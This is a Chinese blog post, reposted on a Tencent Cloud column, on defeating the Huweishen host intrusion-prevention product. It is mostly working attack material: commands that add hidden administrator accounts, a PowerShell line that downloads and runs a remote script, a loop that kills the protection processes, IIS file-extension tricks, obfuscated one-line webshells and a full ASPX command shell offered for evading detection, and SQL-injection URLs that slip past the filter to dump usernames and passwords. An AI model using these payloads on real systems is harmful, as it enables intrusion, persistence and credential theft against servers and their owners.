前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >护卫神安全防护软件的绕过总结

护卫神安全防护软件的绕过总结

作者头像
潇湘信安
发布2021-12-10 09:30:27
1.6K0
发布2021-12-10 09:30:27
举报
文章被收录于专栏:潇湘信安潇湘信安

最近的恰饭文有点多,是时候该分享些东西了,等以后有空了再整理下其他WAF的绕过系列分享给大家,感谢大家的理解和支持,抱拳!

0x01 前言

记得以前测试这个安全防护软件的绕过方式时还是v3.8.2版本,测试完后也没再用上过,这两天去看了下,已经升级到V5.0.0了,可能大部分绕过方法也已经失效了,但还是分享出来供大家参考下吧,有兴趣的可以去测试下最新版的护卫神!

注:由于“护卫神·入侵防护系统”为商业版,而网上找到的破解版本较低,且功能不齐全,所以只能在护卫神官网申请了3天免费试用进行测试,笔者提供的解决方案均来自以往的实践当中和本地测试。

0x02 本地测试环境/基本信息

代码语言:javascript
复制
操作系统:Windows Server 2008 R2 x64
软件版本:护卫神·入侵防护系统 v3.8.2
安装路径:C:\Huweishen.com\HwsSec_26319\
日志路径:C:\Huweishen.com\HwsSec_26319\log\
隔离路径:C:\Huweishen.com\HwsSec_26319\insfile\
护卫神进程名称:hws.exe、hwsd.exe、HwsPanel.exe、hws_ui.exe
护卫神服务名称:hws(入侵防护系统服务)、hwsd(入侵防护系统监控服务)

2.2.1 护卫神安全防护绕过-[用户监控]

功能介绍:主要功能有3个(锁定用户组、禁止新建用户、检测影子用户)。

图2-2-1 护卫神“用户监控”防护功能

图2-2-2 护卫神自动删除新建管理员

解决方案:

(1) 利用for循环命令绕过新建用户行为检测

代码语言:javascript
复制
for /l %i in (1,1,2) do @net user 90sec huweishen!@#1 /add & net localgroup administrators 90sec /add

图2-2-3 利用for命令添加管理员用户

(2) 利用PowerShell克隆管理员绕过管理组检测

代码语言:javascript
复制
PowerShell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103/Clone.txt'); Create-Clone -u 90sec -p huweishen!@#1

图2-2-4 利用PowerShell成功克隆管理员

注:护卫神“用户监控”的原理是检测攻击者是否存在新建用户行为和Administrators管理组中是否存在其它用户,如果存在则立即删除该用户。虽然我们可以通过for循环命令绕过新建用户行为检测,也能将这个新建用户添加到Administrators管理组,但最终还是逃不过Administrators管理组检测,仍然会将新建的90sec管理员用户给删除,可尝试增加循环次数。因为用PowerShell脚本克隆的90sec用户不属于任何组的成员,所以护卫神无法删除90sec这个具有管理员权限的用户。

图2-2-5 护卫神hws2018-07-03.log日志文件

2.2.2 护卫神安全防护绕过-[远程监控]

功能介绍:主要功能有3个(计算机名认证、IP或域名认证、更改远程桌面端口)。

图2-2-6 护卫神“远程监控”防护功能

解决方案:

(1) 利用“日志文件”绕过护卫神计算机名认证限制

代码语言:javascript
复制
1、tasklist /svc找到hws服务,然后sc qc hws找到“护卫神”的安装路径;
2、护卫神日志路径:C:\Huweishen.com\HwsSec_26319\log\hws2018-07-03.log;
3、查看“hws2018-07-03.log”日志文件,找到以前登录过此系统的计算机名称(HuWeiShenServer);

(2) 利用for循环命令绕过护卫神IP、域名认证限制

1、利用for命令循环结束hws.exe、hwsd.exe这两个进程,在循环执行过程中“护卫神”的防护功能失效,循环结束防护功能生效。

代码语言:javascript
复制
for /l %i in (1,1,500) do @taskkill /f /im hws.exe /im hwsd.exe

2、在停止防护功能时间内快速进入目标主机并关闭护卫神的“远程登录监控”防护功能即可。

注:护卫神“远程监控”的原理是通过白名单来限制远程登录的计算机名、IP或域名,如果它们存在于“远程监控”白名单列表当中则允许进行远程桌面连接,否则不允许。

结束hws.exe、hwsd.exe进程后会停止“护卫神”防护功能1分钟左右(此方法已失效!)。新版本中结束hws.exe、hwsd.exe进程后会自动重复的运行,防护功能依然是正常的。

2.2.3 护卫神安全防护绕过-[URL保护]

功能介绍:“URL保护”这个功能是在IIS加固模块里的,主要是用来防止攻击者访问他们利用IIS6.0解析漏洞上传的WebShell木马文件。

URL保护模块(默认规则库):

代码语言:javascript
复制
.asp;
.asa;
.php;
.aspx;
.asax;
.asp/
.asa/
.asax/
~1
~2
~3
~4

解决方案:

(1) 利用“include”文件包含绕过

代码语言:javascript
复制
ASP:<!--#include file="hws.txt" -->
PHP:<?php Include("hws.txt");?>
JSP:<jsp:include page="hws.txt"/>

(2) 利用“CER、CDX”文件扩展名绕过

代码语言:javascript
复制
http://192.168.1.103/hws.cer;.jpg
http://192.168.1.103/hws.cdx;.jpg
http://192.168.1.103/hws.cer/bypass.jpg
http://192.168.1.103/hws.cdx/bypass.jp

注:护卫神“URL保护”的原理是通过检测访问者的URL地址中是否存在规则库列表里的内容,如果存在则拦截,不存在则放行。因为IIS6.0默认安装下的CER、CDX都映射在“C:\WINDOWS\system32\inetsrv\asp.dll”,所以它们能够正常解析ASP代码。而护卫神“URL保护”默认规则库中没有.CER;、.CDX;这样的规则,所以没有对其访问进行拦截。

2.2.4 护卫神安全防护绕过-[卸载密码]

解决方案:

护卫神在安装时的“卸载密码”功能只是在卸载时要求输入密码,而直接重装并没有要求输入密码,所以个人感觉“卸载密码”这个功能相当于摆设,我们可以直接重装护卫神软件,然后再进行卸载。

2.2.5 护卫神安全防护绕过-[木马监控]

功能介绍:主要设置选项有2个(监控路径、查杀选项)。

解决方案:

具体测试过程就不详写了,直接贴出我用了几年的WebShell一句话木马。现在网上也公布的有各种免杀过WAF的WebShell代码,是否有后门请自行检测。

代码语言:javascript
复制
<%Xz2GmkUViY=ReQuEsT("/"):ExEcUtE(Xz2GmkUViY)%>
<?php $Xz2GmkUViY=convert_uudecode("&87-S97)T `");@$Xz2GmkUViY($_REQUEST['/']);?>
<%@Page Language="Jscript"%><%var Xz2GmkUViY;Xz2GmkUViY = Request.Item["/"];Response.Wri
te(eval(Xz2GmkUViY,"unsafe"));%>

注:护卫神“木马监控”的原理主要还是通过静态检测(文件特征码、危险函数等)来进行查杀。现在网上大部分公开的免杀WebShell基本都还是对危险函数进行分割、编码、回调、变形或在线加密(http://www.phpjm.net/encode.html)处理来绕过WAF的检测,推荐几篇不错的文章。

代码语言:javascript
复制
基于WAF入侵检测和变异WebShell检测算法的Web安全研究
https://www.docin.com/p-1815617232.html
Webshell安全检测篇
https://www.vuln.cn/6548
Deformity ASP_ASPX_PHP_JSP Webshell、Webshell Hidden Learning
https://www.cnblogs.com/LittleHann/category/548519.html

2.2.6 护卫神安全防护绕过-[运行限制]

功能介绍:“运行限制”这个功能是在IIS加固模块里的,主要设置选项有3个(禁止运行危险组件、禁止获取系统信息、禁止运行PSO组件)。

CLASSID在Windows中唯一表示一个组件,一般在注册表HKEY_CLASSES_ROOT\CLSID中,Windows x64在注册表HKEY_CLASSES_ROOT\Wow6432Node\CLSID中,有兴趣的可以去深入了解一下。

代码语言:javascript
复制
{13709620-c279-11ce-a49e-444553540000}:::Shell.application
{ed8c108e-4349-11d2-91a4-00c04f7969e8}:::Microsoft.XmlHttp
{b54f3741-5b07-11cf-a4b0-00aa004a55e8}:::MSXML2.XMLHTTP
{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell.1
{fbeb8a05-beee-4442-804e-409d6c4515e9}:::Shell32.dll
{7849596a-48ea-486e-8937-a2a3009f31a9}:::Shell32.dll
{72c24dd5-d70a-438b-8a42-98424b88afb8}:::WScript.Shell
{f935dc2b-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc29-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc28-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc27-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc25-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc24-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc23-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{f935dc20-1cf0-11d0-adb9-00c04fd58a0b}:::WScript.Shell
{24be5a30-edfe-11d2-b933-00104b365c9f}:::WScript.Shell
{24be5a31-edfe-11d2-b933-00104b365c9f}:::WScript.Shell
{563dc061-b09a-11d2-a24d-00104bd35090}:::WScript.Shell
{563dc060-b09a-11d2-a24d-00104bd35090}:::WScript.Shell
{41904400-be18-11d3-a28b-00104bd35090}:::WScript.Shell
{093ff999-1ea0-4079-9525-9614c3504b74}:::Wscript.Network 
{0d43fe01-f093-11cf-8940-00a0c9054228}:::File System Object
{8bc3f05e-d86b-11d0-a075-00c04fb68820}:::WMI
{a8f03be3-edb7-4972-821f-af6f8ea34884}:::WMINet_Utils.WmiSecurityHelper.1
{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息
{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息
{d6bfa35e-89f2-11d0-8527-00c04fd8d503}:::IISNamespace
{97d25db0-0363-11cf-abc4-02608c9e7553}:::用户和组
{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息
{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息)
{172bddf8-ceea-11d1-8b05-00600806d9b6}:::Winmgmts //WMI获取系统信息
{565783c6-cb41-11d1-8b02-00600806d9b6}:::Winmgmts //WMI获取系统信息)

解决方案:

利用ASPX WebShell木马绕过“禁止运行危险组件”限制

代码语言:javascript
复制
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender, EventArgs e) {
    try {
        Process ahAE = new Process();
        ahAE.StartInfo.FileName = kusi.Value;
        ahAE.StartInfo.Arguments = bkcm.Value;
        ahAE.StartInfo.UseShellExecute = false;
        ahAE.StartInfo.RedirectStandardInput = true;
        ahAE.StartInfo.RedirectStandardOutput = true;
        ahAE.StartInfo.RedirectStandardError = true;
        ahAE.Start();
        string Uoc = ahAE.StandardOutput.ReadToEnd();
        Uoc = Uoc.Replace("<", "&lt;");
        Uoc = Uoc.Replace(">", "&gt;");
        Uoc = Uoc.Replace("\r\n", "<br>");
        tnQRF.Visible = true;
        tnQRF.InnerHtml = "<hr width=\"100%\" noshade/><pre>" + Uoc + "</pre>";
    } catch(Exception error) {
        Response.Write(error.Message);
    }}
</script>

<html>
 <head> 
  <title>Asp.Net SafeDog CmdShell</title> 
 </head> 
 <body> 
  <form id="cmd" method="post" runat="server"> 
   <div runat="server" id="vIac"> 
    <p><input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe" /> </p>
    <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100" /> 
    <asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" /> 
    <div id="tnQRF" runat="server" visible="false" enableviewstate="false"> 
    </div> 
   </div> 
  </form>  
 </body>
</html>

注:护卫神“运行限制”的原理是通过禁止一些危险组件(Wscript.Shell、Shell.Application、Winmgmts、IISNamespace等)来阻止攻击者利用WebShell脚本木马调用这些危险组件来执行系统命令、获取系统信息等。但aspx执行命令不依赖于这些组件,所以能...!

2.2.7 护卫神安全防护绕过-[SQL防注入]

功能介绍:主要设置选项有3个(GET、POST、COOKIES防注入关键词,默认都是一样的),可以根据自己的安全经验选择性增加一些关键词

GET、POST、COOKIES防注入关键词:

代码语言:javascript
复制
*xp_cmdshell*
*and*db_name()*>*0*
*and*user*>*0*
*bulk*insert*exec*
*select*is_srvrolemember*
*use*model*
*select*is_member*
*xp_availablemedia*
*xp_dirtree*
*xp_terminate_process*
*sp_dropextendedproc*
*exec*sp_addlogin*
*xp_regdeletekey*
*exec*xp_regread*
*exec*xp_regenumvalues*'*
*exec*xp_regwrite*'*
*exec*xp_regread*'*
*exec*xp_regdeletevalue*'*
*declare*@*char*
*exec*xp_regaddmultistring*'*
*exec*xp_regdeletekey*'*
*exec*xp_regenumvalues*'*
*exec*xp_regread*'*
*exec*xp_regremovemultistring*'*
*exec*xp_regwrite*'*
*declare*@*
*union*select*
*select*from*
[...SNIP...]

解决方案:

(1) ASP+ACCESS:利用ASP%特性、unicode编码绕过护卫神防注入。

代码语言:javascript
复制
http://192.168.1.108/sql.asp?id=1 and exists(s%elect * from admin)
http://192.168.1.108/sql.asp?id=1 and exists(s%u0065lect * from admin)

(2) ASPX+MSSQL:利用unicode编码、%00截断绕过护卫神防注入。

代码语言:javascript
复制
http://192.168.1.108/sql.aspx?id=1%00and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_cmdshell')

http://192.168.1.108/sql.aspx?id=1 and 1=(s%u0065lect count(*) from master.dbo.sysobjects where name= '%u0078%u0070%u005f%u0063%u006d%u0064%u0073%u0068%u0065%u006c%u006c')

(3) PHP+MYSQL:利用/*%00*/、GET+POST绕过护卫神防注入。

代码语言:javascript
复制
http://192.168.1.108/sql.php?id=1/*%00*/union select 1,group_concat(username,0x3A,password
),3 from admin--

http://192.168.1.108/sql.php?id=1 union select 1,group_concat(username,0x3A,password),3 from admin--
POST:aa

注:护卫神“SQL防注入”的原理是通过正则匹配关键词来拦截的,在GET、POST或Cookies数据里检测到黑名单中的关键词就进行拦截。这一小节内容并非笔者原创,只是参考了网上已公开的方法进行复现测试。绕过XSS、注入以及上传并非我的强项,也没有深入研究这一块,后边会整理@Bypass师傅写的Bypass WAF系列文章供学习大家参考,这里另外推荐几篇不错的文章。

代码语言:javascript
复制
我的WafBypass之道系列
https://xz.aliyun.com/u/1502
WAF攻防研究之四个层次Bypass WAF
https://xz.aliyun.com/t/15
Bypass WAF Cookbook – MayIKissYou
https://www.vuln.cn/6105
sql-injection-fuck-waf
https://notwhy.github.io/2018/06/sql-injection-fuck-waf/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
主机安全
主机安全(Cloud Workload Protection,CWP)基于腾讯安全积累的海量威胁数据,利用机器学习为用户提供资产管理、木马文件查杀、黑客入侵防御、漏洞风险预警及安全基线等安全防护服务,帮助企业构建服务器安全防护体系。现支持用户非腾讯云服务器统一进行安全防护,轻松共享腾讯云端安全情报,让私有数据中心拥有云上同等级别的安全体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档